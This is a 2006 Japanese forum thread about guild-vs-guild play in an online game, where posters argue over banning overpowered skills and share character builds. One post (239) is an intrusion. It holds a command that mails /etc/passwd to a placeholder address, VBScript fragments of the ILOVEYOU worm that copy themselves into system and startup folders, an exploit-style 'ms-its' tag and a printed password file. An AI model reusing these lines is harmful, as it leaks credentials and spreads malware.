まあ、スカはやりすぎだと思うけどね。スカなしが多すぎて使わないことが
多いから消そうか悩んでる。
あと、たぬぬに関係ないんだけど最近〜なしでって条件をつけたり、自分
たちが出した条件を断られるとオープンで文句を言ってきたりするのを見
るんだがは何とかならないものか・・・。
散々文句を言った後「うぜぇ」と言い残して一人で部屋から出て行ったの
を見たときは自分のギルドも相手のギルドも( ゚д゚)ポカーンとしてた。 >
223 名前:名も無き冒険者投稿日:2006/08/17(木) 16:46:14 ID:noykCCc3
それはさすがにルールの前に対人関係に問題ありだな(笑)。
そう言う人はもう、無視をするしかないんだろうな。
たぶん、内容以前に、まともな会話が期待できないだろうから。 >
224 名前:名も無き冒険者投稿日:2006/08/17(木) 16:56:38 ID:P06f4TTU
去年息子が小学校に入って初めての運動会に僕の両親を連れて見に行った。
すると、徒競走で順位をつけないんですよ・・・
なかには、みんなで手をつないで仲良くゴールインとかしてる始末・・・
お前達はいったい何の為に走ってるんだ?
運動会って何なんだ???
これが今、巷で噂のゆとり教育と言うものなのか? >
225 名前:名も無き冒険者投稿日:2006/08/17(木) 17:04:14 ID:IKKUL6B/
>>220
もしジュエリアでやってて言っているなら自分達のメンバー構成の問題だと思われ。どんな勝ちたがりなのかと。
だって最近はBGたぬぬいないギルドの方が珍しいのに「ほとんどの奴らが禁止を求めてくる」って時点で普通じゃないじゃない。
低平均帯のGvの話だったらわからんから謝るが一般的な150〜170では平均やメンバー構成に問題がない限りBG規制はほとんどない。
>
226 名前:名も無き冒険者投稿日:2006/08/17(木) 17:55:46 ID:noykCCc3
順位を付けないのは変な宗教と同じくらいタチが悪い。 >
227 名前:名も無き冒険者投稿日:2006/08/17(木) 23:12:02 ID://PDImQo
>>225
すいませんF鯖っす。
F鯖のGvの現状はいかにベースを低くしつつスキルを揃えて、課金装備で固めて中身は強くしつつ平均下げをがんばるかって感じです。
だからGvの平均が170以上とかすごく少ないし、ほとんどが平均120〜150です。
ただ平均120くらいでも200レベル並の強さはありますけどね。
装備があれだけ強くなるとベースあげてもほとんど意味ないのはわかるけど、さすがにF鯖のGvの現状は酷いですよ。 >
228 名前:名も無き冒険者投稿日:2006/08/18(金) 00:18:38 ID:zGt4blzd
Fかぁ、それなら知った口叩いてスマンカッタ。
平均についてはJだって似たようなもんだがBG規制はあまりない事を言いたかった。
ハンデは平均低い所に突っ込んだときに突っ込んだ側からBG無しにするから対戦してくれ、みたいのが大半かも。
BG禁止組もいるが皆その旨を書いて部屋作って待ってる。
ちなみに皆してガチャ装備だから意外とレベルで差出ると思う。 >
229 名前:名も無き冒険者投稿日:2006/08/18(金) 09:47:15 ID:AgfHXBt1
お互いBG、スカン無しと言ってくる奴に限って、終始BGを使おうとする奴が多すぎる件 >
230 名前:名も無き冒険者投稿日:2006/08/18(金) 12:57:19 ID:zGt4blzd
そんな奴いるか? >
231 名前:名も無き冒険者投稿日:2006/08/19(土) 11:02:19 ID:9n3YJ2Sm
>>230
たまに「ミスったwwwwww」っとか言ってBG使う奴いるな
まあ某ギルドの奴なんだが
まあ使われたらこっちも使ってるので問題はないが >
232 名前:名も無き冒険者投稿日:2006/08/19(土) 11:39:25 ID:dfW/PfN2
だよな。多すぎるとか大げさな奴が多すぎる件。
ってか今はQSが規制の対象であってBGなんて大した事ないのにね。
俺はレベル割と高レベルのたぬぬ使ってるけど獅子がいる所相手にSKくらったら普通に沈むし(QSなしなら死なない。)見かけるのも「獅子2まで!」とかが大半。
F鯖って未だにBG神話続いてるの? >
233 名前:名も無き冒険者投稿日:2006/08/19(土) 14:50:08 ID:JT488XZ/
続いてる >
234 名前:名も無き冒険者投稿日:2006/08/19(土) 17:11:08 ID:dfW/PfN2
なら鷹目兎とQS獅子でチーム組んでしばらくの間俺TUEEEEEして早くBG神話が過去のものであると知らしめてやってくれ…。たぬぬ使いとして、F鯖の同胞が不憫でならない(´・ω・`)
確かにBGは強いがSKやQSだと思う。 >
235 名前:名も無き冒険者投稿日:2006/08/19(土) 20:04:50 ID:9TEFcYUl
QS獅子2匹 鷹目兎1匹 SKBG持ちHP極、SKBG変身狸1匹ずつ
これほとんど最強じゃね?問題は挑んでくれる相手がいるかどうか、か
つか派手なQSに目がいってるだけで相変わらずBGは凶悪だと思うのだが >
236 名前:名も無き冒険者投稿日:2006/08/20(日) 01:44:47 ID:QAkPVD1Y
pianissimoっていうGくそつよいね
EXAM相手に余裕で勝ってた >
237 名前:名も無き冒険者投稿日:2006/08/20(日) 02:41:44 ID:z8X4pSZJ
>>235
いやいや、狸1という前提を忘れてはいけない。
あとHP極は駄目だ。獅子相手だとエリクサじゃ連打してても間に合わなくて死ぬからマジきつい。
ってか変身したら狸はSKもBGも使えない劣化攻撃職になるぞ。(死なないけど。)
何が言いたいかと言えば確かにBGは強いが狸は1G1人が暗黙の了解になってるから獅子2のQSの方がよほど危険じゃないのかなと。
以上、獅子、狸の両方を使ってる個人的な感想な。 >
238 名前:名も無き冒険者投稿日:2006/08/20(日) 02:46:02 ID:gfnYG9es
つーことはやっぱりBG神話続いてるんだな >
239 名前:名も無き冒険者投稿日:2006/08/20(日) 13:21:20 ID:1GfYr1br
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
>
240 名前:名も無き冒険者投稿日:2006/08/21(月) 09:41:07 ID:z8+7FNnN
禁止されないのはJはお互いの狸の数が大体揃ってるから。だから獅子の数で勝敗が決まる印象が強いんジャマイカ? >
241 名前:名も無き冒険者投稿日:2006/08/21(月) 15:17:33 ID:BgTZ+xbz
話切って悪いんですが
近接型の人ってGvではどんな武器使ってます?
俺は命中合成した剣使ってるんだけど、属性剣そのまま使用? >
242 名前:名も無き冒険者投稿日:2006/08/21(月) 16:28:01 ID:z8+7FNnN
近接型って何よw
属性で強くなる海斬りや命中が必要なスピン、色々あるから職と戦い方を具体的に言ってくれんとなんとも。 >
243 名前:名も無き冒険者投稿日:2006/08/21(月) 17:28:48 ID:BgTZ+xbz
あ、失礼しました
兎(スピン、アッパー)
狸(ワンペア)
の場合です。
いるかわからないけど、AA狐と猫も当てはまるかな… >
244 名前:名も無き冒険者投稿日:2006/08/21(月) 17:48:02 ID:z8+7FNnN
俺なら出来るだけ精錬して命中合成一択かな。
課金ならOPの底上げで回避にしたり、HP合成したりするのもいいかもしれんがそれは自身の命中と向き合って決めるといいよ。
多少増えても意味がないような死にステを作らないのがコツ。 >
245 名前:名も無き冒険者投稿日:2006/08/21(月) 18:04:20 ID:5jf/rPm2
あの・・・BGってなんですか・・・? >
246 名前:名も無き冒険者投稿日:2006/08/21(月) 18:06:02 ID:HVVj1PjK
BiGtinpo >
247 名前:名も無き冒険者投稿日:2006/08/21(月) 18:10:02 ID:5jf/rPm2
サンキューフォーエバー >
248 名前:名も無き冒険者投稿日:2006/08/21(月) 21:00:03 ID:BgTZ+xbz
>>244
さんくすです。参考にさせてもらいます。 >
249 名前:名も無き冒険者投稿日:2006/08/23(水) 09:31:54 ID:RnyJkxIH
Gvに出てる銃獅子の方に質問です。
今142Lvで HP7k 命中231(銃攻撃力329) 幸運131(スキル込み) 回避79なのですが
よくQSを耐えられた後に相手のスキルでやられてしまいます。同Lvくらいの銃獅子の方
Lvと四つのステがどれ程あるのか教えてください。 >
250 名前:名も無き冒険者投稿日:2006/08/23(水) 11:11:51 ID:68fXyylU
>>249
余り参考にならんと思うが当方150歳、初期4141ボーナス命中極、装備はガチャ有り(今回のはまだ)で
ステが命中260、幸運210、HP4k、回避30ぐらい
相手の攻撃を回避で避けるとかHPで耐えるとかは一切考えず、命中と幸運だけでやられるまえにやるって感じ
幸運が131らしいけど、QS耐えられると言うより避けられてないか?
そのステだと銃士対決でもQS外して狩られる気がする
相手を確実に沈めたいなら命中もそうだが幸運がもっと必要だな
確実に沈めようとは考えていなくて、相手の攻撃を耐えたいって言うんなら・・・
HP7k回避79はちょっと話にならない。袋やOPなど、攻以外の職の高火力スキルでもかなりの確率で沈められる
まずHP10k、回避100くらいはどうしても必要かと。攻のスキルも耐えたいならもっともっと要る
それを達成しようとするとどうしても威力や幸運がお察しになるのが銃士だから、火力と死ににくさの両立だけは諦めれ
自分はそこまでせんから知らんが、ガチャエリクサネイト極なら両立できるんだろうか・・・ >
251 名前:名も無き冒険者投稿日:2006/08/23(水) 14:05:06 ID:DEfOWCpE
>>249
まあ一応獅子として書けば
161レベルの3142型命中極
装備フル課金で機応変で変えてる。でもHPは10kは保つようにしてる
>>250のいうとおり獅子同士なら幸運が勝負になると思う。
ちなみにQSうったあとすぐに次のスキル使うようにしてるが、QSで仕留めようと考えちゃいけない(レスを読む限りだとQSで終わっていたので一応)
あとホークアイが使用可能兎が仲間でいるなら極力ついていく。
ステータスも大事だが、そういうチームワークも獅子にとっては大事だからな >
252 名前:名も無き冒険者投稿日:2006/08/24(木) 05:14:08 ID:sMsdb6Xu
>>250-251
レスありがとうございます。
HP10k・回避100には、できそうにそうにないので中途半端に上げてる回避・HPをやめて
幸運・命中を上げようかと思います。
>
253 名前:名も無き冒険者投稿日:2006/08/24(木) 10:14:28 ID:LddXSMpt
オール狸vsオール獅子の壮絶なGVは今や伝説 >
254 名前:名も無き冒険者投稿日:2006/08/24(木) 12:43:29 ID:vP9eb30S
/《 , -‐ '´ ̄ ̄`ヽ、 lゝ
/ //:::::/" `ヽ ヽ:::::::ノ》 》\
⌒./:::::::::/ ヽ ヽܲ ܵ ܶ ܷ :::::ヘ:,⌒⌒
l:::::::{:::l , ー-j从:ヽ::::.ヽ
| ::i::ル{レ' ●` li!: ト、:::.', ,へ/) >>138
ヽ:i: i "● .⊂⊃: |ノ::::.l /\ `> りゅーん
.yi ヘ⊃ ,__, l|:: |:::::::/ `Y
/7`'、|::|l:ゝ、_ `´ ィ<|:: |_:::l __,,..-‐' ) )
(| ト .|::|l:::: i "Tーイ'^ァレ ヘチマ、 ___ ̄ ´
ヽ、___|::|l:::: lハ|7く、_/O \__/ i__/ `"''‐--r、
( ( r |::|/ \ハ i Y、 ./ |つ
`` rく___ /`l. O | `"'-、__L/
>、______7 ,く____ハ 〉
>
255 名前:名も無き冒険者投稿日:2006/08/26(土) 01:13:50 ID:+noFcttb
SKだけとか雷だけとかやってて楽しいのかねぇ
スペシャリストにでもなったつもりか('A`) >
256 名前:名も無き冒険者投稿日:2006/08/26(土) 02:20:49 ID:ic0/fTo/
まだQS覚えてないんですけど、覚えたら大分変わりますか? >
257 名前:名も無き冒険者投稿日:2006/08/26(土) 05:05:50 ID:ORfdTrdU
>>256
持ってる人の試合をみるとわかるが明らかに世界がかわる。
人によってはヒット数とか半端ない >
258 名前:名も無き冒険者投稿日:2006/08/26(土) 15:54:04 ID:zZk5olwa
>>255
悔しいのはわかるが自分だって同ギルドにそういう奴いたら止めないどころか有効利用するだろ?
SKもBGもQSも雷も自分がされると嫌なだけで拾える時は皆率先して助っ人に呼ぶよね。 >
259 名前:名も無き冒険者投稿日:2006/08/28(月) 00:24:32 ID:X8usFBe4
PS RS QSって発動時間何秒なの?
スキル打つ前に打たれて終わる('A`) >
260 名前:名も無き冒険者投稿日:2006/08/28(月) 00:26:40 ID:qTBnkdsG
>>258
相手のスキルとかに文句言うやつなんて自分のことしか考えれない俺つえーしたい奴ばっかだから仕方ないよ。
そもそも対人で文句言うこと自体間違い。うまくいかないのは自分達が弱いだけ。
BGやスカや雷に禁止や文句を言うのもおかしい。
自分達も使えばいいだけの話で、今のご時世BGたぬが少ないとか雷羊が少ないなんて言い訳通用しないし。
BGに限っては賛否両論あるけど、やっぱり禁止するのが間違いだと思われ。
強いのはわかってるんだから、使われたら使えばいいだけ。
使えないのは構成が悪いだけで相手側には何の非もない。
たぬ入れてない分他職のスキルがあるはずなのに。
BGやスカや雷なんてのは補助を代表するスキルなんだから、それ禁止されたらその職がつまらなくなるだけだよ。
魅や雷羊なんてのは所詮補助職。
そのへんをちゃんと理解してやっていかないと、文句ばっかじゃただでさえ過疎ってるのにどんどん過疎るだけ。 >
261 名前:名も無き冒険者投稿日:2006/08/28(月) 00:41:43 ID:DQNs6vSH
某ギルドは獅子2兎1狸1雷羊1でやってたぞ。 獅子と兎は前衛で後ろはBGタヌヌと雷連発羊だった。 知り合いが出てから観戦してたんだけど、えげつない試合で相手が可愛そうだったよ。 >
262 名前:名も無き冒険者投稿日:2006/08/28(月) 05:38:21 ID:WGr8vfeb
>>261
DQN乙 >
263 名前:名も無き冒険者投稿日:2006/08/28(月) 14:12:27 ID:4J/CZMH8
>>261
メンバー構成もやりかたもうちのギルドそっくりな件 >
264 名前:名も無き冒険者投稿日:2006/08/28(月) 15:17:32 ID:bMHrTBvU
>>261
言ってることが自己中すぎ。
構成を決めてるのは自分の所のマスターだぞ?弱く組んだとしても相手にえげつないとか言うのはおかしい。
俺もマスターだが獅子2雷1狸1兎1で組める事もあれば竜3とかになる事もある。そりゃ人間だから負けたら悔しいが試合を了承しておいてグチグチ言うのは筋違いだと思う。
構成にケチつける奴は自分でギルド立ち上げて相手を選ぶべき。
>
265 名前:名も無き冒険者投稿日:2006/08/28(月) 15:35:06 ID:MHW7V8Gp
知り合いが出てから観戦してたんだけど、えげつない試合で相手が可愛そうだったよ。
知り合いが出てから観戦してたんだけど
観戦してたんだけど
観戦 >
266 名前:名も無き冒険者投稿日:2006/08/28(月) 15:44:17 ID:bMHrTBvU
>>265
鬼の首取ったように言ってるが、んな事承知で言ってる。
知り合いの試合みててあーいう感想を持つ人が自分の時はそうじゃないとはまず思えないと考えた。
>
267 名前:名も無き冒険者投稿日:2006/08/28(月) 15:48:42 ID:PZhTDh1C
誰をどの種族を選ぶかもまた戦略のひとつ。
種族の構成に不満があるのなら、相手に言うのではなく、
自分のギルドマスターに進言する内容でしょう。
自分のギルドから出せるキャラクタの中から、
相手も考えてベストの内容で望むのがギルドマスターの役目なのだから。
相手が強すぎたとかそう言う愚痴は、皆が不快になるだけだよ。
>>264に同意。相手がやりたくない構成なら最初から、
対戦しなければ良いだけのことだ。受けた以上はベストを尽くせ。
そして、その上で負けたのなら悔しがっても、文句は言うな。
「やらなければ良かった」とかは見苦しすぎる。 >
268 名前:名も無き冒険者投稿日:2006/08/28(月) 15:49:26 ID:bMHrTBvU
ってスマン。よく見ると知り合いが強い側で、別に負けた側が文句言ってる訳じゃないんだな。
いや俺のミスだ、スマン。じゃ今のは文句言ってる人に向けてって事でよろしくw >
269 名前:名も無き冒険者投稿日:2006/08/28(月) 17:37:30 ID:tds1cpgL
>>268
どんまい^^; >
270 名前:ura2 softbank219203000175.bbtec.net投稿日:2006/08/28(月) 17:41:14 ID:yMowVZvR
dejikotanmoe >
271 名前:名も無き冒険者投稿日:2006/08/29(火) 11:45:00 ID:E+2l+c5T
ただまぁ俺はGvなんてのは勝つためにできる限りの最善を尽くすとこだと思うけどね。
構成もスキルも汚いだの制限だの言う方がただの負け犬だし。
まぁモラルは持たないとダメだけど。
リバ後とかはダメだが、対人でGvやってるやつは少なくとも勝ちに来てるわけでしょ?
しかもほとんどが課金装備で。
楽しみに来てるとかいうなら最初から負けても悔しくないはずだし、
相手がどんな構成のどんなやり方できても文句言わないでしょ。
自分たちが楽しむために勝ちに来てる相手側にスキル制限してとか、構成に文句を言うのはおかしいし。
いちいち文句言ってたんじゃ弱いくせに勝ちたがりの自己中に見られても仕方ない。
Gvとかするなら、相手に何されようが跳ね返すだけの実力がないとやっていけないよ。
Pvにも言えるけど、対人はやられたら倍にしてやり返せばいい。
無理なら自分達が弱いだけ。
文句や言い訳するくらいなら強くなればいいと思う。 >
272 名前:名も無き冒険者投稿日:2006/08/29(火) 21:20:37 ID:bSAP98qS
強い側でも弱い側でも言いたいことは同じだ。
「最善を尽くせ」、それだけだな。相手が受けた以上は、
こちらが格上でも本気で叩くよ。逆に、相手が格上でも、
受けた以上はやはり本気で叩きに行くよ。
もちろん、それで負けたらものすごく悔しいけど、
だからと言って「受けなければ良かった」とかは思わないけどな。 >
273 名前:名も無き冒険者投稿日:2006/08/29(火) 21:28:44 ID:N31OfIVS
最近は前より盛り上がってるの?
課金にあきれてアンインストールしちゃったが気になる >
274 名前:名も無き冒険者投稿日:2006/08/29(火) 21:43:23 ID:bSAP98qS
言うほど盛り上がっているわけではないが、
ギルドバトルが好きな人は相手に不自由しないでしょうね。
深夜はどうしても人が集まらないのかPvばかりですけど、
夕方になると、観戦しているだけでも割と楽しいです。 >
275 名前:名も無き冒険者投稿日:2006/08/31(木) 02:50:34 ID:Vwp9x6BI
今日エリクサ渡してる途中で倒してしまったらしく、さんざん文句言われた
エリクサ渡しの時に倒されてしまうのはしょうがないと思うけど、どう思いますか?
せめてふちでやれと思う >
276 名前:名も無き冒険者投稿日:2006/08/31(木) 10:59:54 ID:u4ANYUiR
倒すのが当たり前。 >
277 名前:名も無き冒険者投稿日:2006/08/31(木) 12:33:33 ID:0Qlrj2su
>>275
装備切り替えラグ中に倒してしまうこともあるよな。
せめてタイマーかける前に装備変えろと思う >
278 名前:名も無き冒険者投稿日:2006/08/31(木) 12:45:43 ID:K1ufwmke
戦場にいるのだから、何をしていようが倒す、倒す、それだけ。
アイテムを渡すのならば敵の目に触れないところでするべきだな。
こちらとしては狙えるときは、ワザと完全に倒さないこともある。
そうすればそいつが回復を使ったり、援護が駆けつけたりするので、
そこで改めてまとめて粉砕する。こうすれば相手の消費が激しくなるからな。
おかげで、こちらの勝率もあがると言うものさ。強いだけではダメ。
頭も上手に使わないとね。雑魚は雑魚らしく、倒されてください。 >
279 名前:名も無き冒険者投稿日:2006/08/31(木) 14:14:59 ID:/kqX94wt
>>278
やたら偉そうなので素直に同意できない
でも同意 >
280 名前:名も無き冒険者投稿日:2006/08/31(木) 18:59:49 ID:LpaqP/wy
なんか、ここウイルス張られてないか? >
281 名前:名も無き冒険者投稿日:2006/09/01(金) 00:47:16 ID:uIZU8WAp
普通にアイテム投げてる間に倒されるなら納得するが
捨てるのに30秒以上かかった挙句死んだ時はかなりむかついた、勿論爺暮に
後、たまに相手に拾われちまうんだが… >
282 名前:名も無き冒険者投稿日:2006/09/01(金) 09:52:53 ID:9Rl2Ojwz
おまいらゲームなんだぜ?楽しんでやろうジャマイカ
ただ相手が人な以上、最低限のモラルは守ってな。
楽しめないゲームなんかやる意味ねーじゃんwwwww >
283 名前:名も無き冒険者投稿日:2006/09/01(金) 12:30:20 ID:Vv3uVKZs
>>282
まったくだwお前みたいな奴ばっかだったらTSはもっと素敵になるんだがな。 >
284 名前:1投稿日:2006/09/04(月) 16:47:33 ID:0GkUeMwp
久々に来てみたわけだが
>>205
したらばで検索してスレが見つけられない俺は日本語が出来てないだけ?
それともおまいさんが日本語が出来てないの?
とりあえず中学卒業しとけ、話はそれからだ。 >
285 名前:名も無き冒険者投稿日:2006/09/04(月) 18:07:39 ID:I2iZGcgQ
>>284
205じゃないが一応言えば以前したらばであったのは確か。しかし今あるかは知らないが、このスレが出来たばかりはまだ探せばでたはず。
>
286 名前:名も無き冒険者投稿日:2006/09/05(火) 04:50:58 ID:HQ/EfwQX
>>284
205じゃないがかわりに。
1 名前: 名無しさん 投稿日: 2006/05/06(土) 02:57:32 [ tqXCl5i. ]
GvGについて語るスレです
1 名前:名も無き冒険者[] 投稿日:2006/05/11(木) 10:01:58 ID:g5BRMXet
無いからなんとなく立ててみた
普通にしたらばに建ってるね。
それにしたらばを「GvG」でページ内検索したら普通に引っかかったんだが。
>>1はどういう検索の仕方をしたんだ?
ちなみにこのスレ今でもあるよ。 >
287 名前:名も無き冒険者投稿日:2006/09/06(水) 16:50:18 ID:eq0jPOyQ
日本語が出来てなかったんだろ
アルファベットだけどな >
288 名前:名も無き冒険者投稿日:2006/09/11(月) 10:45:32 ID:0hD3x0Xh
ボルケーノ・コロシアムで復帰後で敵から離れ味方に近付こうしてる孤立したキャラを5人で叩くのはありですか?面白いですか?
復帰後、リバだから攻撃しないで見逃したのに、いきなりスキルかけて攻撃して来るのはありですか?
もうさ、勝つ事に必死な奴多すぎだよ。 >
289 名前:名も無き冒険者投稿日:2006/09/11(月) 14:44:23 ID:Vd9d/5pC
>>288
少なくとも、孤立したキャラを叩くのは普通だろ。
何で固まるのを待たなきゃいかんのだ。 >
290 名前:名も無き冒険者投稿日:2006/09/11(月) 16:47:33 ID:85d22seA
>>289
そこで紳士なとこを見せると俺はかっこいいと思うよ >
291 名前:名も無き冒険者投稿日:2006/09/11(月) 16:57:25 ID:F0CVAkc+
もしかして闇龍って要らない子?
たぬぬでも作るべきか・・・ >
292 名前:名も無き冒険者投稿日:2006/09/11(月) 18:39:20 ID:r5hZZh2t
うさ使いから言わせてもらうと闇龍がいちばんやっかい >
293 名前:名も無き冒険者投稿日:2006/09/11(月) 23:34:09 ID:ESTdT4Rl
二次来たら闇つよくね?ってのは素人考えだろうか >
294 名前:名も無き冒険者投稿日:2006/09/12(火) 14:14:11 ID:k2BtKdgU
うさ使いだが一番やっかいなのはうさだな >
295 名前:名も無き冒険者投稿日:2006/09/12(火) 14:27:17 ID:EHBHdb82
>>288
まぁ、気持ちはわかるがこんな所に書き込む程悔しいならお前も勝ちたがりなんだと思うよ。
たまにされるが「あー、こういう所か。」程度にしか思わん。
最初に言ってない以上ルールの範囲内だし、色んな人がいるんだから良心依存な問題にいちいち文句言ってもキリがないでしょ。 >
296 名前:名も無き冒険者投稿日:2006/09/12(火) 15:12:05 ID:WgmRkMA4
2次ぬこのサポートは異常
魔法封じされたら魔型乙るよ
まぁ…おとくいの禁止Gvだらけになるんだろうけどな >
297 名前:名も無き冒険者投稿日:2006/09/13(水) 10:44:19 ID:N6jVP7tu
乙ればいいよ。
禁止Gvなんてクソくらえ。
そういうスキルが実装されたらそれが仕様。
すぐ禁止禁止言う奴は来ないほうがいいよ。
QS禁止、スカ禁止、ボデガ禁止、禁止ばっかして何が楽しいのやら。 >
298 名前:名も無き冒険者投稿日:2006/09/13(水) 10:54:01 ID:UmRCcI7g
「バランスが崩れる」とか言って禁止を掲げる人が多いからな。
運営側の仕様を無視して、個人が決めつけることのほうが、
それこそバランスが崩れると思うのだが……w >
299 名前:名も無き冒険者投稿日:2006/09/13(水) 12:30:05 ID:IkVgdCbO
>>297
制限無しのGvが面白くないから現在の状況があるってことw >
300 名前:名も無き冒険者投稿日:2006/09/15(金) 01:03:10 ID:J/1NQol9
>>299
おもしろくないってのはただ俺つえーしたいやつができないからじゃない?
制限無しのほうがなんでもできて楽しいし戦略も作れる。
まぁ正直なとこ課金Gvは先は長くないと思うけどね。
SPフィールドに続き今度は4Gがあれだからね。
あまりに短期間に高性能装備が出すぎる。
非課金Gvが流行り出してるけど、この流れについて行けなくなった人は非課金にどんどん流れそうな気がする。
攻なのに回避170あったり、魔なのにHP20Kあったりとか課金はキャラの特性消しすぎ。 >
301 名前:名も無き冒険者投稿日:2006/09/15(金) 01:31:08 ID:1RhcZJZ5
>>300
非課金Gvのが先短いと俺は思うけどな。
完全非課金だと魔と魅力が強くなる(特に魅力)
魔と魅力だけの構成になっても楽しくないし、非課金でも俺TUEEEしたいやつはいるしね
結局は一緒k( >
302 名前:名も無き冒険者投稿日:2006/09/15(金) 02:11:03 ID:f4875HIN
なんだか
どんどん残念な方向に向かってる?
orz >
303 名前:名も無き冒険者投稿日:2006/09/15(金) 04:26:43 ID:azamoB4C
楽しんだもの勝ちだよ
課金は課金で確かに特性消えてるけど、どちらもそれでもどうすれば死なないかとか、どうすれば倒せるかとか考えたりする所。その準備期間とかも面白いと思うけどな〜
俺TUEEEな人たちなら先が短いっていえるけど、どんな状態でもGV楽しいと思える人がいるなら続くと思う >
304 名前:名も無き冒険者投稿日:2006/09/15(金) 04:42:53 ID:qDPPCJY1
自分はトレーディングカードゲームの経験者だが、大会とかでは強すぎる
カードに対しては必ず制限や禁止が付く。そのカードを戦術構成要素(用語
使えばデッキやサイドボード)に入れていた時点で負け。
なぜなら、そうしないとゲームとして成り立たなくなり、他の戦術を否定し、結果
面白くなくなるから。
GVにもそういった部分はある。BGはQSの方強いから問題ないという人間がいるが
どっちもゲームバランス崩すでFA。それに両方使うとさらにやばい。
現状で、制限・禁止がかかる候補としては
・QS ・BG ・SK ・鷹の目(QSや海切り等の組み合わせがまずい)
・海切り(範囲性と威力の両立) ・雷 ・ハイプレッシャー
このあたりで、その中でも特にまずいのが
・QS ・BG
の2者だろう。(SKはスロモ強化で、砲台が脆くなった為最強ではなくなった)
公平な試合のためにはこの二つに関しては、制限1人というのは妥当だと思うし、
必要であれば特定の組み合わせを禁止する事もいるだろう。QS*2というのはそれだけでまずい。 >
305 名前:名も無き冒険者投稿日:2006/09/15(金) 06:53:21 ID:593yP5Ju
>>304
スロモ強化は一時的で既に強化前に戻ってるぞ
>
306 名前:名も無き冒険者投稿日:2006/09/15(金) 09:08:48 ID:9e1gdWHc
これだから、ゲーマーは嫌われるんだよな。
制限を設けて何が楽しいのか。
国外を見てみろよ。まず制限なんてしない。
使えるものは何でも使う。
だからまずいものはすぐに公式がリビジョンアップする。
逆にされないものでも、独自ルールなんて作らない。
そのまま行うので、つまらないものはそのまま消えていく。
それだけのことだろ。
公式が何も対応しないのはまあ、確かに不幸だが、
だからと言って、独自ルールを設けてまでしがみつくのはさらに不幸。
まあ、本人がそれで良いのなら止めはしないが、
せめて、周りを巻き込むようなことまではしないでくれ。
自滅するならどうぞ、お一人で……。 >
307 名前:名も無き冒険者投稿日:2006/09/15(金) 09:59:00 ID:klnJpuaz
BG無しと言う場所に限って狸いない。
せめて狸入れてから言え。
それに禁止にしなくても戦い方次第では勝てる。
例えばBGの範囲から引きずり出すとか、QSで一撃でやられないHPにするとか、海切り当たらない回避にするとか、SKかけられたら味方に援護してもらうとか・・・
とりあえず狸を使えば上に書いた事全て解決。 >
308 名前:名も無き冒険者投稿日:2006/09/15(金) 12:07:27 ID:J/1NQol9
>>307
ものすごく同意
BGなしでとか言うとこは決まってたぬがいない。
支援のためのたぬなのに、主力技封印させといて自分たちはフルスキルとかアホかと。
封印させて鷹の目QSとか普通にやってくる。
BGできないたぬ入れるくらいなら中途半端にスカとかで援護するより、
ウサとか獅子入れて火力でヒット数稼いだ方がいいし。
たぬ入れずにBGなしでって言うくらいならそれ相応のスキルを封印しろと思う。
候補は鷹の目、QS、海切り、闇盾、グルミンあたりか。 >
309 名前:名も無き冒険者投稿日:2006/09/15(金) 12:23:52 ID:y1b6GKra
BGは狸沈めればいいんだから気にならない
猫と命中うさいればいけるし
問題はBG神話が根付いたことだ >
310 名前:名も無き冒険者投稿日:2006/09/15(金) 12:52:35 ID:HOGA6NzN
ウダウダ言う前に獅子と狸とうさ子をメンバーにいれるのを標準仕様にすればいい。
狸がいないなら獅子二人とか、どうにでもなるはず。狸がワンペア投げたり、下手するとハイプレで獅子なんて沈むし。 >
311 名前:名も無き冒険者投稿日:2006/09/15(金) 13:02:13 ID:Pv7XxdxJ
というか獅子2体に狙われたら狸なんて即死するし、獅子1でも猫にSKかけられたらまず助からない。
BG禁止する人は一度狸使ってみて欲しい。 >
312 名前:名も無き冒険者投稿日:2006/09/15(金) 14:33:18 ID:8KwLxl2S
この際獅子と狸とうさ子を全部なくせばいいよ >
313 名前:名も無き冒険者投稿日:2006/09/15(金) 14:53:23 ID:Pv7XxdxJ
>>312
実際にそうなったら今度は猫なくせとか言いだすんだろ?
仕様に文句がある人は引退してください。 >
314 名前:名も無き冒険者投稿日:2006/09/15(金) 16:32:25 ID:m/Q1Y2ww
うちから言わせると・・・・。
ほとんどの奴がガキにしか見えねー。
だからいつまでたっても童貞なんだよwww
童貞乙
>
315 名前: